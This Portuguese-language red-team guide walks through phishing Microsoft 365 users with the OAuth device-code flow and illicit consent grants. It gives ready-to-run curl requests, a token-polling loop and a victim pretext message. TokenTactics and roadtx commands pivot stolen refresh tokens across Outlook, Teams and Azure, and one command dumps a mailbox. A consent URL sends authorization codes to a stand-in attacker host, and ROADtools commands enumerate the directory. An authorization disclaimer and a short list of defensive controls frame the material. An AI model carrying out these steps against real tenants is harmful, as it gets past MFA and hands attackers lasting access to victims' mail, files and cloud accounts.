Atacando OAuth com Phishing de Código de Dispositivo

O que Atacando OAuth com Phishing de Código de Dispositivo faz?

Aviso Legal: Esta habilidade é destinada apenas para testes de segurança autorizados, operações de equipe vermelha e fins educacionais. Phishing de código de dispositivo e concessão de consentimento manipulam usuários reais para autorizar o acesso de atacantes a identidades corporativas. Execute apenas contra locatários que você possui ou possui autorização explícita por escrito (regras de engajamento) para testar. O uso não autorizado viola o Computer Fraud and Abuse Act e leis equivalentes em todo o mundo.

Visão Geral

A Concessão de Autorização de Dispositivo OAuth 2.0 (RFC 8628) foi projetada para dispositivos com restrições de entrada (smart TVs, ferramentas de CLI) que não podem apresentar facilmente um login baseado em navegador. Um dispositivo solicita um user_code curto e um device_code, exibe o user_code e uma URL de verificação ao usuário, e consulta o endpoint de token enquanto o usuário autentica em um dispositivo separado e com recursos completos. Os atacantes usam esse fluxo: em vez de uma smart TV, o "dispositivo" é a máquina do atacante. O atacante inicia a solicitação de código de dispositivo e, em seguida, envia um phishing para uma vítima visitar a página legítima de verificação da Microsoft (https://microsoft.com/devicelogin) e inserir o user_code gerado pelo atacante. Como a vítima autentica na página de login genuína da Microsoft — completando o MFA — os tokens resultantes são cunhados para a sessão de polling do atacante. Isso contorna o MFA completamente: o segundo fator é satisfeito pela vítima, mas os tokens de portador caem com o atacante (mapeado para MITRE ATT&CK T1528 – Roubo de Token de Acesso a Aplicativos).

A Microsoft Threat Intelligence, Volexity e Proofpoint documentaram um crescimento acentuado no phishing de código de dispositivo ao longo de 2025, com atores alinhados à Rússia (rastreados pela Microsoft como Storm-2372) entre os mais prolíficos. Os relatórios M-Trends da Mandiant destacam o roubo de token OAuth como um vetor de acesso inicial líder em nuvem. Uma técnica intimamente relacionada é a concessão de consentimento ilícito ("phishing OAuth"): o atacante registra um aplicativo multilocatário e engana a vítima para clicar em um /adminconsent ou URL de consentimento do usuário, concedendo ao aplicativo malicioso permissões delegadas do Microsoft Graph (Mail.Read, Files.ReadWrite.All, offline_access) que persistem independentemente de redefinições de senha. Esta habilidade cobre ambos, além da reutilização de tokens em serviços Microsoft 365 usando TokenTactics e mapeamento de acesso/validação com ROADtools.

A propriedade definidora que as equipes vermelhas exploram: os tokens de acesso cunhados via fluxo de código de dispositivo são válidos por aproximadamente 60–90 minutos, mas o token de atualização acompanhante (com escopo offline_access) sobrevive por até 90 dias e pode ser trocado por novos tokens para qualquer recurso de primeira parte que o cliente tenha permissão para solicitar — Outlook, SharePoint, Teams, Azure Resource Manager — permitindo acesso durável e que sobrevive ao MFA.

Quando Usar

• Durante um engajamento autorizado de equipe vermelha ou suposição de violação direcionado ao Microsoft 365 / Entra ID onde a engenharia social está no escopo
• Ao validar políticas de Acesso Condicional, aplicação de MFA e controles de proteção de token contra técnicas reais de phishing
• Ao testar se uma organização restringe o fluxo de código de dispositivo OAuth ou bloqueia o consentimento de aplicativos multilocatários não verificados
• Ao demonstrar o risco de bypass de MFA para justificar controles de autenticação resistente a phishing (FIDO2) e vinculação de token
• Ao construir detecções (combinado com a habilidade da equipe azul hunting-saas-sso-token-abuse) e você precisa de telemetria realista

Pré-requisitos

• Autorização por escrito/regras de engajamento permitindo explicitamente phishing e roubo de token contra o locatário alvo
• Um canal de entrega de pretexto controlado (infraestrutura de phishing sancionada ou uma caixa de correio de teste interna)
• Host atacante Linux ou Windows com Python 3.8+ e PowerShell 7+
• TokenTactics (PowerShell) e ROADtools (Python) instalados:

  # ROADtools (roadrecon + roadtx) — Dirk-jan Mollema / Outsider Security
  pip install roadtools roadtools_auth
  # roadtx (ROADtools Token eXchange) está incluído no roadtools_auth
  roadtx --help
  
  # TokenTactics v2 (rvrsh3ll)
  git clone https://github.com/rvrsh3ll/TokenTactics.git
  pwsh -c "Import-Module ./TokenTactics/TokenTactics.psd1"
  

• Familiaridade com tipos de concessão OAuth 2.0, estrutura JWT e escopos do Microsoft Graph

Objetivos

• Iniciar uma solicitação de código de dispositivo OAuth contra Entra ID usando um ID de cliente de primeira parte
• Entregar um pretexto crível que leva a vítima à página genuína de login de dispositivo da Microsoft
• Consultar o endpoint de token e capturar os tokens de acesso e atualização da vítima
• Atualizar tokens entre recursos do Microsoft 365 (Graph, Outlook, gerenciamento do Azure) para expandir o acesso
• Executar a variante de consentimento ilícito registrando e enviando phishing de consentimento para um aplicativo multilocatário malicioso
• Enumerar recursos e dados acessíveis com ROADtools para demonstrar o impacto
• Documentar o bypass de MFA e produzir recomendações de remediação

Mapeamento MITRE ATT&CK

ID	Técnica	Aplicação nesta habilidade
T1528	Roubar Token de Acesso a Aplicativos	Phishing do fluxo de código de dispositivo / concessão de consentimento produz tokens de acesso e atualização OAuth controlados pelo atacante que são reutilizados para acessar serviços em nuvem sem reautenticação

Técnicas relacionadas frequentemente encadeadas: T1566 Phishing (entrega), T1550.001 Token de Acesso a Aplicativos (reutilização de tokens roubados), T1098.003 Manipulação de Conta: Funções Adicionais na Nuvem (persistência de concessão de consentimento).

Fluxo de Trabalho

Fase 1: Iniciar a Solicitação de Código de Dispositivo

O atacante solicita um código de dispositivo do Entra ID, escolhendo um cliente de primeira parte no qual a vítima implicitamente confia. O ID do cliente do Microsoft Office d3590ed6-52b3-4102-aeff-aad2292ab01c é comumente usado porque é pré-autorizado para amplos recursos de primeira parte.

1. Solicite um código de dispositivo diretamente através do endpoint de token:

   # client_id = Microsoft Office; scope solicita offline_access para um token de atualização de longa duração
   curl -s -X POST \
     'https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode' \
     -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \
     -d 'scope=https://graph.microsoft.com/.default offline_access' | tee devicecode.json
   

2. A resposta JSON contém os campos que você utiliza:

   {
     "user_code": "B7HVQXKZ2",
     "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8...",
     "verification_uri": "https://microsoft.com/devicelogin",
     "expires_in": 900,
     "interval": 5,
     "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code B7HVQXKZ2 to authenticate."
   }
   

3. Observe a janela de validade de 15 minutos (expires_in: 900) — o pretexto deve levar a vítima a autenticar rapidamente.

   Equivalente usando TokenTactics (lida com polling automaticamente):

   Import-Module ./TokenTactics/TokenTactics.psd1
   # Gera um código de dispositivo e começa a consultar; imprime o user_code para o phishing
   Get-AzureToken -Client MSGraph
   

Fase 2: Entregar o Pretexto

A mensagem de phishing NÃO deve conter um link de roubo de credenciais — a vítima autentica na página real da Microsoft, o que derrota a suspeita do usuário e o MFA.

1. Crie um pretexto que faça referência à URL genuína https://microsoft.com/devicelogin e ao user_code (por exemplo, "TI está matriculando sua conta no novo dispositivo Teams Rooms; abra microsoft.com/devicelogin e insira o código B7HVQXKZ2 dentro de 15 minutos").
2. Envie através da infraestrutura de phishing sancionada. Códigos/URLs hiperlinkados frequentemente caem em spam, então apresente a URL e o código como texto simples.
3. Programe a entrega para o início de um ciclo de polling para que o código esteja fresco.

Fase 3: Consultar e Capturar Tokens

Enquanto a vítima autentica e aprova, consulte o endpoint de token com o device_code até que os tokens sejam emitidos.

1. Consulte no interval especificado pelo servidor (5 segundos); authorization_pending é esperado até que a vítima complete o login:

   DEVICE_CODE=$(python -c "import json;print(json.load(open('devicecode.json'))['device_code'])")
   while true; do
     RESP=$(curl -s -X POST \
       'https://login.microsoftonline.com/organizations/oauth2/v2.0/token' \
       -d 'grant_type=urn:ietf:params:oauth:grant-type:device_code' \
       -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \
       -d "device_code=${DEVICE_CODE}")
     echo "$RESP" | grep -q access_token && { echo "$RESP" > tokens.json; break; }
     echo "$RESP" | grep -q authorization_pending || echo "$RESP"
     sleep 5
   done
   

2. Em caso de sucesso, a resposta produz access_token, refresh_token, id_token, expires_in e o scope concedido.
3. Decodifique o token de acesso para confirmar a identidade capturada, público e escopos:

   python -c "import json,base64;p=json.load(open('tokens.json'))['access_token'].split('.')[1];print(json.loads(base64.urlsafe_b64decode(p+'=='*(-len(p)%4))))"
   

Fase 4: Atualizar Através de Recursos do Microsoft 365

O token de atualização (com offline_access) pode ser trocado por tokens com escopo para outros recursos de primeira parte, expandindo o acesso além do escopo original.

1. Use funções de atualização do TokenTactics para pivotar o token de atualização para serviços específicos:

   # $response contém o resultado do código de dispositivo do Get-AzureToken
   $rt = $response.refresh_token
   Invoke-RefreshToOutlookToken          -domain target.com -refreshToken $rt   # acesso à caixa postal
   Invoke-RefreshToMSGraphToken          -domain target.com -refreshToken $rt   # Graph
   Invoke-RefreshToMSTeamsToken          -domain target.com -refreshToken $rt   # Teams
   Invoke-RefreshToAzureCoreManagementToken -domain target.com -refreshToken $rt # ARM
   Invoke-RefreshToSubstrateToken        -domain target.com -refreshToken $rt
   

2. Equivalentemente com roadtx, troque o token de atualização por um novo recurso:

   roadtx refreshtokento \
     -r "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \
     -c d3590ed6-52b3-4102-aeff-aad2292ab01c \
     -s https://graph.microsoft.com/.default
   

3. Demonstre acesso à caixa postal para provar o impacto (somente leitura, com escopo nas regras de engajamento):

   Invoke-DumpOWAMailboxViaMSGraphApi -AccessToken $response.access_token -mailFolder Inbox
   

Fase 5: Variante de Concessão de Consentimento Ilícito

Em vez de código de dispositivo, registre um aplicativo multilocatário malicioso e envie phishing para a vítima consentir com permissões delegadas do Graph para obter acesso durável e imune a redefinições de senha.

1. Registre um aplicativo multilocatário em um locatário atacante solicitando escopos delegados como Mail.Read, Files.ReadWrite.All, offline_access.
2. Construa uma URL de consentimento do usuário e envie phishing:

   https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
     client_id=<ID_DO_APLICATIVO_ATACANTE>
     &response_type=code
     &redirect_uri=https://atacante.exemplo/callback
     &response_mode=query
     &scope=offline_access%20Mail.Read%20Files.ReadWrite.All
     &state=12345
   

3. Quando a vítima consentir, troque o code retornado por tokens:

   curl -s -X POST 'https://login.microsoftonline.com/common/oauth2/v2.0/token' \
     -d 'client_id=<ID_DO_APLICATIVO_ATACANTE>' \
     -d 'grant_type=authorization_code' \
     -d 'code=<CODIGO_AUTORIZACAO>' \
     -d 'redirect_uri=https://atacante.exemplo/callback' \
     -d 'client_secret=<SEGREDO_DO_APP>' \
     -d 'scope=offline_access Mail.Read Files.ReadWrite.All'
   

4. A concessão OAuth consentida persiste como uma concessão de diretor de serviço no locatário da vítima até que um administrador a revogue (Remove-MgServicePrincipalOauth2PermissionGrant).

Fase 6: Enumerar Impacto com ROADtools

1. Autentique o roadrecon com o token de acesso/token de atualização capturado e despeje o diretório:

   roadrecon auth --refresh-token "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \
     -c d3590ed6-52b3-4102-aeff-aad2292ab01c
   roadrecon gather
   roadrecon gui   # navegue por usuários, grupos, registros de aplicativos, atribuições de função
   

2. Identifique acesso de alto valor: atribuições de função, aplicativos próprios, sites do SharePoint acessíveis e concessões de consentimento adicionais.
3. Registre exatamente quais dados e funções os tokens roubados alcançaram para o relatório de engajamento.

Ferramentas e Recursos

Ferramenta	Propósito	Fonte
TokenTactics v2	Gerar códigos de dispositivo e atualizar tokens entre serviços M365	https://github.com/rvrsh3ll/TokenTactics
ROADtools (roadrecon / roadtx)	Troca de tokens, enumeração de diretório, mapeamento de acesso	https://github.com/dirkjanm/ROADtools
AADInternals	Kit de ferramentas PowerShell para ataque/reconhecimento no Entra ID	https://github.com/Gerenios/AADInternals
RFC 8628	Especificação da Concessão de Autorização de Dispositivo OAuth 2.0	https://datatracker.ietf.org/doc/html/rfc8628
Comunicado Microsoft / Storm-2372	Análise de campanha de phishing de código de dispositivo	https://www.microsoft.com/en-us/security/blog/
Mandiant M-Trends	Relatório de tendências de roubo de token OAuth	https://cloud.google.com/security/resources/m-trends

Recomendações Defensivas

Controle	Efeito
Política de Acesso Condicional bloqueando o fluxo de código de dispositivo (authenticationFlows) para usuários que não precisam dele	Remove a superfície de ataque para a maioria dos usuários
MFA resistente a phishing (FIDO2 / chaves de acesso) + proteção de token (vinculação de token)	Tokens vinculados não podem ser reutilizados fora do dispositivo da vítima
Restringir consentimento do usuário a editores verificados / exigir consentimento do administrador	Bloqueia concessões de consentimento ilícitas
Frequência de login + durações de sessão mais curtas em redes não confiáveis	Limita a longevidade do token de atualização
Monitorar AADNonInteractiveUserSignInLogs para concessões de código de dispositivo e uso anômalo de token	Detecção (veja hunting-saas-sso-token-abuse)

Critérios de Validação

• Solicitação de código de dispositivo retornou um user_code e device_code válidos
• Pretexto entregue referenciando a página genuína de login de dispositivo da Microsoft (sem link de roubo)
• Endpoint de token consultado e access_token + refresh_token capturados
• Token de atualização trocado por tokens de pelo menos dois recursos M365 adicionais (ex: Outlook, Teams, AzureRM)
• A variante de consentimento ilícito resultou em um token de acesso funcional com permissões delegadas do Graph
• A enumeração com ROADtools exibiu usuários, grupos ou sites do SharePoint acessáveis através dos tokens roubados
• Documentação de quais políticas de Acesso Condicional foram (ou não) acionadas, e recomendações fornecidas para mitigar o vetor de ataque